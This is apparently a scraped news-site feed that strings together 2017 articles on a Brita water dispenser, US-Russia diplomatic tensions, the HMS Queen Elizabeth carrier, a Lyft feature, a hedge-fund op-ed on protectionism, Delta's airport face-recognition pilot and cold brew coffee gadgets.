It might not be the fanciest or most fully-featured kitchen gadget I own, but Brita’s 18-cup water dispenser is something I rely on every single day. It’s simple to use, does its job well, and actually has a positive impact on my overall health.

If you already own a filtered water pitcher, I can understand the thought of sticking with what you have instead of upgrading something that already works. I did for years, but getting a bigger one has solved more problems than I thought I had.

Brita Large 18 Cup UltraMax Water Dispenser and Filter, $ 31.88, available at Amazon

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]]> https://briefnews.eu/one-of-the-most-convenient-upgrades-ive-made-to-my-daily-life-cost-under-35/feed/ 0 Moscow has become ‘very convenient scarecrow’ for US – Russia’s UN envoy https://briefnews.eu/moscow-has-become-very-convenient-scarecrow-for-us-russias-un-envoy/ https://briefnews.eu/moscow-has-become-very-convenient-scarecrow-for-us-russias-un-envoy/#respond Wed, 06 Sep 2017 14:02:18 +0000 http://briefnews.eu/moscow-has-become-very-convenient-scarecrow-for-us-russias-un-envoy/ Russia has turned into a convenient bogeyman used in the internal battles raging in the US political landscape, the Russian envoy to the UN says.

Although tensions are simmering, too much hinges on the bilateral relations, with the UN Security Council remaining one of the few cooperative platforms.

“We, unfortunately, became a very convenient scarecrow, including in the domestic political battles that are raging [in the US],” Vasily Nebenzya said in an interview with RT’s Sophie Shevardnadze.

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The entrance to the building of the Consulate General of Russia is shown in San Francisco © Stephen Lam

No thaw happened in the US-Russian relations with President Donald Trump coming into office due to “the domestic dimension and the political situation within the United States,” Nebenzya believes.

Relations have actually sunk to a new low after a series of diplomatic tit-for-tat measures, with Moscow demanding to reduce the US embassy and consulate staff, and Washington ordering to shutter three Russian diplomatic properties on its soil.

However, “too much depends on our bilateral relations, and it’s not appropriate that they are so low these days and they should be improved, and that will be for the best – for the better of the world and not just our two countries,” he said.

“I will not make peace and security hostage to our bilateral relations,” Nebenzya added.

“The Security Council maybe is one of the few platforms left for us and the US to cooperate,” he said. “Hopefully, that platform that is the Security Council will help us in many things, including improving Russian-American relations.”

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Anatoly Antonov © Maxim Blinov

As to how work gets done in the Security Council despite the diplomatic standoff between the US and Russia, Nebenzya assures he has “no problem in communicating personally on good terms with any American colleague, not only Nikki Haley,” calling it “a professional camaraderie.”

With rhetoric occasionally flaring up at Security Council meetings, Nebenzya says he hadn’t engaged in a heated exchange with his colleagues.

“I think that the United Nations, and the Security Council in particular, should not be a place for futile rhetoric and a spotlight to master their rhetorical skills,” he says, adding the UN should serve its main purpose: “to maintain the international peace and security.”

“I never, never imagine that the Russian and the American people have anything like hostility towards each other. It’s the political situation that is to blame, but on a personal level we are all humans, first of all, and secondly, we feel sympathy towards Americans and I feel that Americans feel sympathy towards Russians,” Nebenzya says.

You can watch the full interview with the Russian envoy to the UN Friday on RT’s SophieCo.

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]]> https://briefnews.eu/moscow-has-become-very-convenient-scarecrow-for-us-russias-un-envoy/feed/ 0 The US-Russia standoff may be a ‘convenient’ moment for Trump and Putin https://briefnews.eu/the-us-russia-standoff-may-be-a-convenient-moment-for-trump-and-putin/ https://briefnews.eu/the-us-russia-standoff-may-be-a-convenient-moment-for-trump-and-putin/#respond Mon, 31 Jul 2017 13:49:05 +0000 http://briefnews.eu/the-us-russia-standoff-may-be-a-convenient-moment-for-trump-and-putin/ Vladimir Putin Donald TrumpAP Photo/Evan Vucci

Moscow retaliated against new US sanctions over the weekend by announcing that 755 US diplomatic staff, many of them American, would be barred from working in Russia indefinitely. 

The reprisal was far from surprising. President Barack Obama issued new sanctions in December and Congress had been debating the recently passed legislation for months, leaving Russian President Vladimir Putin ample time to contemplate a response.

The White House said in a statement last week that President Donald Trump intends to sign the bill. But there was no indication that the legislation pleased the president, who has said he still harbors doubts about whether Russia was behind last year’s hacks on the Democratic National Committee and Hillary Clinton’s campaign chairman, John Podesta. 

“President Donald J. Trump read early drafts of the bll and negotiated regarding critical elements of it,” said the statement from press secretary Sarah Sanders.”He has now reviewed the final version and, based on its responsiveness to his negotiations, approves the bill and intends to sign it.”

It is not clear which elements of the bill were negotiated. The offices of the chairmen and ranking members of the Senate Foreign Relations Committee and House Foreign Affairs Committee did not respond to requests for comment. 

But the bill’s provision that the president may not ease or lift sanctions without congressional approval, if left intact, effectively handcuffed Trump at the moment he was lurching toward a closer relationship with Putin. 

“Even if Trump is inclined to take steps the Russians would welcome, both houses of Congress have now indicated overwhelmingly that they don’t trust Trump in dealing with Russia and are going to impose major limits on his leeway for action,” said Mark Kramer, the program director for the Project on Cold War Studies at Harvard’s Davis Center for Russian and Eurasian Affairs.

Moscow probably won’t rule out economic warfare as one phase of a multi-pronged response that Putin will likely make up “on the fly,” Andrei Kolesnikov, a veteran member of Putin’s press pool, told The Washington Post. But a harsher economic response would likely harm Russia’s economy more than the US.

Instead, the diplomatic tit-for-tat “could be a convenient place for both to pause,” said Joshua Tucker, a professor of politics and Russian and Slavic studies at New York University.

“For the moment, the retaliation is probably done if the US doesn’t do anything drastic in response,” Tucker said Sunday night. “Putin wants to show the international community — and probably his domestic audience as well — that he can’t be pushed around, and now he’s pushed back.”

Kramer said “these sorts of diplomatic cuts are not necessarily a sign of sharp spiral downward,” pointing for comparison to a similar episode between the US and the Soviet Union in 1986.

“In 1986, the United States and the Soviet Union expelled large numbers of personnel from each other’s diplomatic facilities, yet this was followed over the next few years by a fundamental improvement of relations, inspired by huge changes in Soviet foreign policy,” he said. 

While a change in Russia’s foreign policy is unlikely, he added, “staffing levels alone don’t determine, or even have much effect on, the relationship.”

As is, the staffing cuts will hurt Russians more than Americans.

The vast majority of diplomatic staff being cut from Russia’s embassies are Russian, not American. The US currently has fewer than 340 of its own personnel at the US embassy and the three US missions in St. Petersburg, Ekaterinburg, and Vladivostok, compared with around 930 Russian staffers.

Jeremy Bash, the former chief of staff at the Defense Department and the CIA, predicted that the Trump-Putin “bromance” will continue because Putin knows Trump was backed into a corner by Congress. 

Tucker argued that it was “impossible” to tell what Trump would do next.

“He seems to lack any coherent plan with regard to policy on anything other than wanting to ‘win,'” he said. “For a while, Russia seemed to be the exception to his otherwise rudderless policy plans, as he and his campaign showed a pretty strong determination to stick to a pro-Russia policy, even in the face of establishment Republican resistance.”

Now, he said, “who knows?”

Over the weekend, Trump criticized Congress for its failure to pass the healthcare bill and attacked China for its reluctance to reign in North Korea. As of Monday morning, however, Trump still had not responded to Russia’s retaliatory embassy cuts. 

“I wouldn’t be surprised if he turns back to a more pro-Russia policy when given the chance,” Tucker said.

NOW WATCH: A Harvard mathematician reveals how algorithms are making police and the courts more biased

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]]> https://briefnews.eu/the-us-russia-standoff-may-be-a-convenient-moment-for-trump-and-putin/feed/ 0 ‘Big convenient marine target’ – Russian MoD on new British aircraft carrier HMS Queen Elizabeth https://briefnews.eu/big-convenient-marine-target-russian-mod-on-new-british-aircraft-carrier-hms-queen-elizabeth/ https://briefnews.eu/big-convenient-marine-target-russian-mod-on-new-british-aircraft-carrier-hms-queen-elizabeth/#respond Thu, 29 Jun 2017 07:50:25 +0000 http://briefnews.eu/big-convenient-marine-target-russian-mod-on-new-british-aircraft-carrier-hms-queen-elizabeth/

The Russian Defense Ministry has called the latest Royal Navy aircraft carrier a “big convenient marine target,” comparing it to a queen bee that is not capable of defending itself without a “hive” of other warships.

The statement comes after UK Defense Secretary Michael Fallon said that the Russians will be jealous of the 65,000-ton HMS Queen Elizabeth.

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The British aircraft carrier HMS Queen Elizabeth © Russell Cheyne

“When you saw that old, dilapidated Kuznetsov sailing through the Channel, a few months ago, I think the Russians will look at this ship with a little bit of envy,” Michael Fallon told the Telegraph on Tuesday.

Russian Defense Ministry spokesman Igor Konashenkov said that Fallon’s “exalted” statement shows “blatant ignorance of naval science.”

“In the same way as bees, the British aircraft carrier alone is only able to release aircraft from its belly, while she is densely surrounded by a hive of warships, logistics vessels and submarines protecting her.”

He also added that the Russian vessel is equipped with anti-aircraft, anti-submarine, and – most importantly – with Granit anti-ship cruise missiles.

“Unlike the flagship aircraft carrier Admiral Kuznetsov, the British HMS Queen Elizabeth is just a big convenient marine target,” Konashenkov said.

The defense ministry spokesman also advised the Royal Navy not to “demonstrate the ‘beauty’ of its aircraft carrier closer than several hundred miles from her ‘distant relative.’”

The new aircraft carrier was floated out on Monday. A report emerged later in the day, saying that the vessel runs on outdated Windows XP software, which has not been supported by Microsoft since 2014. The system is also vulnerable to cyberattacks, as was seen in May, when it struck the National Health Service (NHS) which uses the same software. 

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]]> https://briefnews.eu/big-convenient-marine-target-russian-mod-on-new-british-aircraft-carrier-hms-queen-elizabeth/feed/ 0 Lyft Wants to Help You Save Time With Convenient Pickup Suggestions https://briefnews.eu/lyft-wants-to-help-you-save-time-with-convenient-pickup-suggestions/ https://briefnews.eu/lyft-wants-to-help-you-save-time-with-convenient-pickup-suggestions/#respond Wed, 28 Jun 2017 19:26:06 +0000 http://briefnews.eu/lyft-wants-to-help-you-save-time-with-convenient-pickup-suggestions/

Lyft Wants to Help You Save Time With Pickup Suggestions

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]]> https://briefnews.eu/lyft-wants-to-help-you-save-time-with-convenient-pickup-suggestions/feed/ 0 $45 BILLION HEDGE FUND BOSS: Protectionism is ‘a convenient fig leaf for the shortcomings of US business leaders’ https://briefnews.eu/45-billion-hedge-fund-boss-protectionism-is-a-convenient-fig-leaf-for-the-shortcomings-of-us-business-leaders/ https://briefnews.eu/45-billion-hedge-fund-boss-protectionism-is-a-convenient-fig-leaf-for-the-shortcomings-of-us-business-leaders/#respond Sun, 25 Jun 2017 13:23:57 +0000 http://briefnews.eu/45-billion-hedge-fund-boss-protectionism-is-a-convenient-fig-leaf-for-the-shortcomings-of-us-business-leaders/ David Siegel Two SigmaTwo Sigma

Add David Siegel, co-founder of $ 45 billion hedge fund Two Sigma Investments, to the list of those warning against protectionism. 

In an op-ed on LinkedIn, Siegel recites a recent trip to an Abu Dhabi camel farm, which he toured in a “comfortable, Japanese-made SUV.” His host explained that everyone used to drive American cars, but they don’t stack up anymore.

“As US policymakers wrestle with how to stanch (if not reverse) the decline of manufacturing employment and alleviate the US trade deficit, my thoughts often return to that conversation in the desert, and to many others like it,” he said.

From the op-ed:

We hear a lot about how both automation and globalization have affected factory jobs here at home. It’s true that repetitive manual and cognitive tasks are increasingly likely to be automated, and that labor costs in developing countries remain far below those of the developed world. When it comes to solutions, however, I see a concerning sign: trade protectionism is once again becoming the response to dwindling factory payrolls and a swollen trade deficit.

The recent re-embrace of this warmed-over policy seems more like a convenient fig leaf for the shortcomings of US business leaders than a viable answer. The qualities that have driven US economic growth and job creation in the past–creativity, risk taking, and innovation–are what will actually help rekindle demand for US-made products overseas, and for American labor.

The rise of protectionism has been a hot topic of late, given the UK’s decision to leave the EU and the election of Donald Trump at US president. Trump made the debate over free trade one of the central topics of his campaign. He argued in favor of ripping up trade deals, said NAFTA was “the worst trade deal in the history of the country,” and called the Trans-Pacific Partnership, or TPP, “a rape of our country.”

Back in February, Jeff Immelt, then CEO of GE, said America “will be less of a leader in trade” in the coming years. And in June, Ray Dalio, the founder of Bridgewater Associates, said Trump was showcasing a tendency to choose the part over the whole. Trump’s actions are leaving people scrambling to figure out which Americans Trump is trying to help, such as American manufacturing workers, and at the expense of whom, Dalio wrote.

In his op-ed, Siegel cites Boeing, Apple, and Google as examples of American companies that have prospered globally, and touched on why protectionism was proving popular:

Those supporting increased trade barriers often couch it in terms of “leveling the playing field.” That is well and good, but my sense is that some simply hope to make it easier for US companies to compete in the global marketplace with inferior products or insufficient effort. Nobody claims making great products is easy, but again, this attitude is not a recipe for reviving American manufacturing employment. There is simply no substitute for doing the hard work of learning local markets.

The op-ed concluded:

Automation and competition from overseas will remain stiff headwinds for U.S. manufacturing employment. But we shouldn’t make excuses and hope protectionism will save the day. The only way for American manufacturers to succeed is through an uncompromising commitment to innovation.

NOW WATCH: A $ 16B hedge fund CIO explains what it takes to work at a hedge fund today

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]]> https://briefnews.eu/45-billion-hedge-fund-boss-protectionism-is-a-convenient-fig-leaf-for-the-shortcomings-of-us-business-leaders/feed/ 0 The Dystopian Surveillance State Will Be Extremely Convenient  https://briefnews.eu/the-dystopian-surveillance-state-will-be-extremely-convenient/ https://briefnews.eu/the-dystopian-surveillance-state-will-be-extremely-convenient/#respond Mon, 15 May 2017 18:22:10 +0000 http://briefnews.eu/the-dystopian-surveillance-state-will-be-extremely-convenient/
Screengrab: Delta/YouTube

When privacy finally dies, it will be, if nothing else, extremely convenient for travelers.

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This summer, Delta is launching a $ 600,000 face recognition pilot program, introducing four face-scanning machines at the Minneapolis-Saint Paul International Airport. Called “biometric bag drop,” the machines “will be equipped to test facial recognition technology to match customers with their passport photos through identification verification,” letting passengers check their own bags and save time.

“This is the next step in curating an airport experience that integrates thoughtful innovation from start to finish,” Delta’s Senior VP, Gareth Joyce, said in the press release. “We’re making travel easier than ever for our customers and continuing to deliver a leading customer experience.”

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Essentially, passengers will hold up their passports and the machines will confirm that the photos match their faces. Beyond this, the press release is sparse on privacy details, though a spokesperson tells us Delta will comply with all privacy laws.

Image Credit: Delta via PRNewswire

That’s still troubling.

Airports across the world are increasingly reliant on face recognition software to track passengers. As part of the “extreme vetting” overhaul of US travel rules, the federal government is already exploring face recognition for US citizens in airports, requiring face scans at security checkpoints.

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Delta insists its machines won’t store passenger photos, but the pilot program still seems like a cutesy, “don’t you hate those long airport lines?” infomerical-style prelude to total surveillance. And whether Delta misuses the data or not, the system could serve as an important step toward normalizing scanning passengers’ faces at airports.

The privacy concerns for face scanning at airports are numerous. First off, who will be doing it? The Department of Homeland Security and Customs and Border Protection are federal bodies, subject to a certain threshold of transparency about what data they can collect and what it’s used for. Private companies don’t have a threshold and would defer simply to privacy laws. Unfortunately, biometric data collection is largely unregulated—only two states, Texas and Illinois, currently protect against it. So private companies even dipping their toes in biometrics and face scanning should cause alarm.

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Even when it’s regulated, however, face recognition is still troubling. A landmark 2016 study from Georgetown Law found as many as half of all US adults are in the FBI’s federal face database, the majority of whom have never committed a crime. First designed for felony convicts, the database rapidly expanded when the FBI began sourcing images from passport photos and driver’s licenses, with most people never knowing their faces are being indexed. Through search warrants, the FBI could conceivably use almost any face database to expand their own—and in a future where face scanning is normalized as part of travel, simply entering an airport could mean being added.

The airport setting and reach of law enforcement is especially important here because passengers are checked against the No Fly list or other other criminal databases. Combining face scanning with bag checks or checkpoints would lead to databases that combine biometric data with travel history, which is extremely sensitive information. The State Department is already building similar databases with their extensive social media screenings for refugees.

Imagine a private company owning a massive face recognition system that matches biometric data with travel history and faces to criminal databases. Delta’s new bag check machines may make air travel a little easier, sure, but the underlying tech flies dangerously close to the event horizon of unprecedented surveillance.

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[Engadget]

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]]> https://briefnews.eu/the-dystopian-surveillance-state-will-be-extremely-convenient/feed/ 0 Housewares show presents quick and convenient ways to make cold brew coffee https://briefnews.eu/housewares-show-presents-quick-and-convenient-ways-to-make-cold-brew-coffee/ https://briefnews.eu/housewares-show-presents-quick-and-convenient-ways-to-make-cold-brew-coffee/#respond Sat, 25 Mar 2017 15:57:43 +0000 http://briefnews.eu/housewares-show-presents-quick-and-convenient-ways-to-make-cold-brew-coffee/ If there was a recurring coffee theme at the 2017 International Home and Housewares Show, it was cold brew. The process is long but worth waiting for if you like a mellower cup of coffee. You don’t actually need a fancy machine to make it at home: The New York Times recommends a mason jar and coffee filter, sieve, or cheesecloth. Still, there was no shortage of appliances ready to help out on display at the show.

More: From chopping to mixing to slow-cooking, the All-Clad Prep&Cook can make your meal

In addition to cold brew, there were other gadgets to help make your kitchen into your own personal Starbucks, and here is our roundup:

Bruer ($ 80)

A Kickstarter project from back in the day (2013), the Bruer is designed to make a non-concentrated version of cold brew. Like other cold brew methods, it takes 12 to 24 hours for the water to drip through the grounds, and the resulting liquid can stay in your fridge for two weeks. Its glass and silicone parts are dishwasher safe, though there are quite a few of them. The whole process isn’t necessarily complicated, and it may take some getting used to. A Milo Ventimiglia-esque gentleman guides you through the steps in this video.

Fellow Stagg EKG Electric Pour-Over Kettle ($ 150)

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Another coffee product from Kickstarter, Fellow’s EKG is an electric pour-over kettle for enthusiasts in search of the perfect bloom. It’s an electric take on the company’s earlier kettle, which has a spout and handle made for more precise pouring. The EKG comes with a base that heats the water to a desired temperature, a feature both tea and coffee lovers will enjoy. (Green tea is better suited to lower temperatures and shorter brewing times than black tea, for example.) You’ll have to wait a while for this one, though, as it’s not expected to ship until October 2017.

KitchenAid KCM4212 Cold Brew Coffee Maker ($ 130)

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Yep, KitchenAid is getting in on the cold-brew trend. Made to fit into your fridge — thanks to its cube shape — the glass-and-steel device makes 28 ounces of concentrate at a time, using coarsely ground coffee, in 12 to 24 hours. It has a spout for easy pouring and a handle for carrying. KitchenAid says its reusable stainless steel steeper is easy to clean. It’s available now in retailers such as Target.

Arzum Okka Turkish Coffee Machine ($ 250)

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Talk about concentrated: The Okka doesn’t make cold brew, but it does make potent little cups of Turkish coffee. Usually made in a special pot called a cezve, Turkish coffee is thick and strong. With the Okka, you dump the grounds and sugar (if you like) in, and press a button. Within a minute or so, you have a cup of delicious coffee, prepared much more quickly than the traditional preparation. You can currently find the machine on Amazon, and Arzum is currently looking for distribution in U.S. stores.

Capresso Froth Control ($ 80)

There are lots of frothers on the market, but Capresso says its Froth Control is the first that lets you use chips or chunks of chocolate for hot cocoa. The device has four settings, for cold froth, hot froth, hot milk, or hot chocolate. You can dump your chips in along with the milk and make a 14-ounce cup of cocoa. (It can handle 10 ounces of milk if you’re going to froth.) It takes several minutes to make the hot chocolate, but the result is foamier than in the microwave or on the stovetop.

De’Longhi Dinamica Fully Automatic Espresso Machine ($ 900)

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One of the more versatile (and expensive) coffee makers at the IHHS was De’Longhi’s Dinamica. It’s an espresso machine that also lets users make iced coffee. Though the coffee comes out hot, its “Brew Over Ice” preset makes a double shot of extra-strength espresso so it doesn’t get overly diluted when you add ice. The machine also has a frother and integrated stainless steel burr grinder, so it can make practically any kind of espresso drink you can think of. The Dinamica will be available in September 2017.

Dash Rapid Cold Brew Coffee Maker (TBD)

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Still in a prototype phase, the Dash Rapid Cold Brew Coffee Maker promises to take the 12- to 24-hour process down to six minutes. The idea is backed by Storebound, which is behind devices such as the PancakeBot. Using something called “cold boil” and lots of filtration, the Dash would deliver the same low-acid, smooth coffee as some of the slower devices above, according to Storebound. Pricing and availability have yet to be determined.

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